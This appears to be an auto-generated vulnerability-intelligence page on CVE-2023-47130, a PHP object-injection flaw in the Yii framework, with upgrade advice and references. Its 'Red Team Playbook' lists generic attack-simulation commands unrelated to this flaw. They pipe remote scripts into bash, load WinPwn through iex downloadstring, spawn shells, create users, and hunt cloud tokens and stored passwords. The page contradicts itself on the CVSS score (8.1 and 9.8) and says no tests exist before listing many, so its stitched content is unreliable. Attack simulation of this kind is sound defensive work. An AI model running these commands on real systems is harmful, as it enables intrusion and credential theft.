CVE-2023-47130
Overview
The vulnerability is a PHP Object Injection leading to Remote Code Execution due to unsafe deserialization. The root cause lies in the yiisoft/yii framework's use of the unserialize() function on user-supplied input without proper validation or sanitization. This flaw affects versions prior to 1.1.29 of the yii PHP web framework, specifically impacting components that handle object deserialization.
Vulnerability Description
Yii is an open source PHP web framework. yiisoft/yii before version 1.1.29 are vulnerable to Remote Code Execution (RCE) if the application calls `unserialize()` on arbitrary user input. An attacker may leverage this vulnerability to compromise the host system. A fix has been developed for the 1.1.29 release. Users are advised to upgrade. There are no known workarounds for this vulnerability.
Impact
An unauthenticated remote attacker can exploit this vulnerability by sending specially crafted serialized data to the application, resulting in arbitrary code execution on the server. This can lead to full system compromise, data theft, or service disruption. The attack requires network access to the affected application and no user interaction or privileges are necessary, as indicated by CVSS vector AV:N/AC:H/PR:N/UI:N. The high severity (CVSS 8.1) reflects the critical nature of this flaw in web-facing environments.
Solution
Users of yiisoft/yii must upgrade to version 1.1.29 or later, which includes a fix that prevents unsafe unserialize() calls on user input. Detailed patch instructions and advisory information are available in the official GitHub security advisory GHSA-mw2w-2hj2-fg8q and the related commit 37142be4dc5831114a375392e86d6450d4951c06. No known workarounds exist; upgrading is the only recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Yii PHP web framework stems from improper handling of user input during the unserialization process. Specifically, when an application utilizes the `unserialize()` function on data provided by users without adequate validation, it opens the door for attackers to inject malicious payloads. This flaw allows an attacker to craft serialized objects that, when unserialized, can execute arbitrary code on the server. The implications of this vulnerability are severe, as it can lead to complete system compromise, allowing attackers to manipulate the server environment, access sensitive data, or even pivot to other systems within the network.
Attack vectors exploiting this vulnerability are varied and can be executed through several methods. An attacker may send specially crafted requests to the application, triggering the unserialization of malicious data. This could occur in scenarios where user input is directly passed to the `unserialize()` function, such as in user profile settings, form submissions, or API calls. Once the payload is executed, the attacker can gain control over the application’s execution context, potentially leading to unauthorized access to the underlying operating system. The risk is exacerbated in environments where the application has elevated privileges, as it may allow attackers to perform actions that could compromise the integrity and confidentiality of the entire system.
The real-world impact of this vulnerability can be profound, particularly for businesses relying on the Yii framework for critical web applications. A successful exploitation could result in data breaches, loss of customer trust, and significant financial repercussions. Organizations may face regulatory fines if sensitive data is exposed, and the costs associated with incident response, remediation, and public relations efforts can be substantial. Furthermore, the reputational damage incurred from such an incident can have long-lasting effects on customer relationships and brand integrity. The high CVSS score of 9.8 underscores the urgency for organizations to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize upgrading to the fixed version of the Yii framework, specifically version 1.1.29 or later. Regularly updating software components is a fundamental practice in maintaining security hygiene. In addition to applying patches, organizations should implement input validation and sanitization measures to ensure that any data passed to the `unserialize()` function is safe and trusted. Utilizing security tools that can analyze application code for potential vulnerabilities can also aid in identifying areas where user input may be mishandled. Furthermore, employing a web application firewall (WAF) can provide an additional layer of defense by monitoring and filtering malicious traffic before it reaches the application.
In conclusion, the vulnerability within the Yii framework highlights the critical importance of secure coding practices and the need for vigilant software maintenance. Organizations must remain proactive in their security posture, ensuring that they not only address known vulnerabilities but also foster a culture of security awareness among developers. By understanding the nature of such vulnerabilities and implementing robust detection and mitigation strategies, businesses can better protect themselves against the evolving landscape of cyber threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Yiiframework | Yii | All |
cpe:2.3:a:yiiframework:yii:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-47130 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/yiisoft/yii/security/advisories/GHSA-mw2w-2hj2-fg8q |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/yiisoft/yii/commit/37142be4dc5831114a375392e86d6450d4951c06 |
| owasp.org |
GitHub CVE
x_refsource_MISC
|
https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection |